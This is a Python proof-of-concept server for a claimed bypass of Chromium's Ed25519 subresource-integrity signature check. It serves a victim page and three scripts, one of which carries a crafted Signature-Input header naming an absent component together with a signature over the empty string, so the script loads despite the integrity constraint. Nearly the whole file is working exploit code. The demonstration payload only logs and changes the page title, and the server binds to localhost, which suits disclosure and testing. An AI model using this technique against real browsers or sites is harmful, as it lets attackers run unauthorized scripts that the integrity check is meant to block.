#!/usr/bin/env python3
"""
POC server: SRI Message Signature bypass via empty signature base.

Serves three resources, each guarded by `integrity="ed25519-<PUBKEY>"`:

  /exploit.js  -- Signature-Input declares the absent header "x-absent"
                  alongside the mandatory "unencoded-digest";sf component.
                  Signature is Ed25519(priv, "").  Because Chromium collapses
                  ConstructSignatureBase()'s nullopt to "" via .value_or(""),
                  ED25519_verify("", 0, sig, pub) PASSES.  Script executes.

  /control.js  -- Same Ed25519(priv, "") signature, but Signature-Input
                  declares ONLY "unencoded-digest";sf (no absent component).
                  ConstructSignatureBase succeeds and returns the real,
                  non-empty base.  ED25519_verify(real_base, ...) FAILS
                  because the signature is over "" not over real_base.
                  Script is blocked.  This proves SIG_EMPTY does NOT
                  validate the real signature base.

  /garbage.js  -- Same absent-header trick as /exploit.js but the Signature
                  is 64 random bytes (not a valid signature of anything).
                  ED25519_verify("", 0, garbage, pub) FAILS.  Script blocked.
                  This proves Chrome IS performing Ed25519 verification --
                  /exploit.js doesn't pass by accident.

Together: exploit loads, control blocked, garbage blocked  =>
  Chrome verifies the signature over the EMPTY string when an absent
  header component triggers the .value_or("") collapse.
"""
import base64
import hashlib
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer

# ---------------------------------------------------------------------------
# Key material (generated by genkeys.py with a fixed seed; see that file).
# THE PRIVATE KEY IS NOT USED HERE.  We only embed:
#   - the public key (which the page operator publishes in `integrity=`)
#   - one signature: Ed25519(priv, "") -- a signature of the empty string
#
# In the real attack the attacker has obtained this empty-string signature
# through cross-protocol key reuse, a signing-oracle leak, etc.
# ---------------------------------------------------------------------------
PUB_B64   = "11qYAYKxCrfVS/7TyWQHOg7hcvPapiMlrwIaaPcHURo="
SIG_EMPTY_B64 = "5VZDAMNgrHKQhuLMgG6CioSHfx645dl02HPgZSJJAVVfuIIVkKM7rMYeOXAc+bRr0lv18FlbviRlUUFDjnoQCw=="

# 64 bytes of garbage -- not a valid Ed25519 signature of anything under PUB.
SIG_GARBAGE_B64 = base64.b64encode(b"\x42" * 64).decode()

# ---------------------------------------------------------------------------
# Payloads.
# ---------------------------------------------------------------------------
EXPLOIT_JS = b"""\
// MALICIOUS PAYLOAD -- loaded despite integrity="ed25519-..." constraint.
// The Signature header is Ed25519(priv, "") -- it does NOT cover this body
// or the Unencoded-Digest header. It only verifies because Chromium collapses
// the signature-base construction error to an empty string.
console.error('[EXPLOIT] script executed -- SRI ed25519 integrity bypassed');
document.title = 'EXPLOIT-SUCCESS';
if (window.__poc_result) window.__poc_result('exploit', true);
"""

CONTROL_JS = b"""\
console.error('[CONTROL] this should NOT execute -- if it does the test setup is broken');
if (window.__poc_result) window.__poc_result('control', true);
"""

GARBAGE_JS = b"""\
console.error('[GARBAGE] this should NOT execute -- if it does Chrome is not verifying signatures at all');
if (window.__poc_result) window.__poc_result('garbage', true);
"""

def digest_header(body: bytes) -> str:
    h = hashlib.sha256(body).digest()
    return f"sha-256=:{base64.b64encode(h).decode()}:"

# ---------------------------------------------------------------------------
# Victim page.
# ---------------------------------------------------------------------------
INDEX_HTML = f"""\
<!doctype html>
<meta charset="utf-8">
<title>waiting</title>
<h1>SRI Ed25519 empty-base bypass POC</h1>
<pre id="log"></pre>
<script>
  const results = {{ exploit: false, control: false, garbage: false }};
  let pending = 3;
  function logline(s) {{
    document.getElementById('log').textContent += s + '\\n';
    console.error(s);
  }}
  window.__poc_result = (name, ok) => {{ results[name] = ok; }};
  function done(name) {{
    pending--;
    logline('[' + name + '] loaded=' + results[name]);
    if (pending === 0) {{
      const pass = results.exploit && !results.control && !results.garbage;
      const verdict = pass
        ? 'VULNERABLE: empty-string signature bypassed SRI integrity check'
        : 'NOT-VULNERABLE: bypass did not work';
      logline('=== ' + verdict + ' ===');
      logline('  exploit.js  loaded=' + results.exploit + '  (expected: true  -- BYPASS)');
      logline('  control.js  loaded=' + results.control + '  (expected: false -- same SIG_EMPTY, no absent-header trick)');
      logline('  garbage.js  loaded=' + results.garbage + '  (expected: false -- random sig over empty base)');
      document.title = pass ? 'EXPLOIT-SUCCESS' : 'EXPLOIT-FAILED';
    }}
  }}
</script>

<!-- THE BYPASS: Signature-Input declares "x-absent", Signature is sign(priv,"") -->
<script src="/exploit.js"
        integrity="ed25519-{PUB_B64}"
        crossorigin="anonymous"
        onload="done('exploit')" onerror="done('exploit')"></script>

<!-- CONTROL: same SIG_EMPTY, but no absent header => real base => verify fails -->
<script src="/control.js"
        integrity="ed25519-{PUB_B64}"
        crossorigin="anonymous"
        onload="done('control')" onerror="done('control')"></script>

<!-- GARBAGE: absent-header trick but random signature => verify("",garbage) fails -->
<script src="/garbage.js"
        integrity="ed25519-{PUB_B64}"
        crossorigin="anonymous"
        onload="done('garbage')" onerror="done('garbage')"></script>
""".encode()


class Handler(BaseHTTPRequestHandler):
    # HTTP/1.1 so the structured-field headers are passed through cleanly,
    # but force Connection: close so headless Chrome doesn't hang on keep-alive.
    protocol_version = "HTTP/1.1"

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] " + (fmt % args) + "\n")

    def _send_js(self, body: bytes, sig_input: str, sig: str):
        self.send_response(200)
        self.send_header("Content-Type", "application/javascript")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Unencoded-Digest", digest_header(body))
        self.send_header("Signature-Input", sig_input)
        self.send_header("Signature", sig)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Connection", "close")
        self.end_headers()
        # Chrome closes the socket as soon as the network-process header check
        # fails (ERR_BLOCKED_BY_RESPONSE), without reading the body. That's the
        # whole point: the block happens before body delivery. Swallow the
        # resulting EPIPE so the server keeps running.
        try:
            self.wfile.write(body)
            self.wfile.flush()
        except (BrokenPipeError, ConnectionResetError):
            sys.stderr.write(f"[server] {self.path}: client closed early "
                             f"(blocked by header check -- expected for "
                             f"control/garbage)\n")

    def do_GET(self):
        if self.path == "/" or self.path == "/index.html":
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(INDEX_HTML)))
            self.send_header("Connection", "close")
            self.end_headers()
            self.wfile.write(INDEX_HTML)
            return

        if self.path == "/exploit.js":
            # KEY: "x-absent" is declared as a component but NOT sent as a
            # response header.  ConstructSignatureBase reads "unencoded-digest"
            # successfully, then tries headers.GetNormalizedHeader("x-absent"),
            # gets nullopt, and returns std::nullopt at line 731.
            # .value_or("") at line 808 collapses this to "".
            # ED25519_verify("", 0, SIG_EMPTY, PUB) at line 824 returns 1.
            sig_input = (
                f'sig1=("unencoded-digest";sf "x-absent");'
                f'keyid="{PUB_B64}";tag="ed25519-integrity"'
            )
            sig = f"sig1=:{SIG_EMPTY_B64}:"
            self._send_js(EXPLOIT_JS, sig_input, sig)
            return

        if self.path == "/control.js":
            # Same SIG_EMPTY but NO absent component.  ConstructSignatureBase
            # succeeds and returns something like:
            #   "unencoded-digest": sha-256=:...:\n"@signature-params": (...)...
            # which is ~150 bytes.  ED25519_verify(that, SIG_EMPTY) fails.
            sig_input = (
                f'sig1=("unencoded-digest";sf);'
                f'keyid="{PUB_B64}";tag="ed25519-integrity"'
            )
            sig = f"sig1=:{SIG_EMPTY_B64}:"
            self._send_js(CONTROL_JS, sig_input, sig)
            return

        if self.path == "/garbage.js":
            # Absent-header trick, but garbage signature.
            # ED25519_verify("", 0, garbage, PUB) fails.
            sig_input = (
                f'sig1=("unencoded-digest";sf "x-absent");'
                f'keyid="{PUB_B64}";tag="ed25519-integrity"'
            )
            sig = f"sig1=:{SIG_GARBAGE_B64}:"
            self._send_js(GARBAGE_JS, sig_input, sig)
            return

        self.send_error(404)


if __name__ == "__main__":
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
    srv = HTTPServer(("127.0.0.1", port), Handler)
    print(f"[server] listening on http://127.0.0.1:{port}/", file=sys.stderr)
    srv.serve_forever()
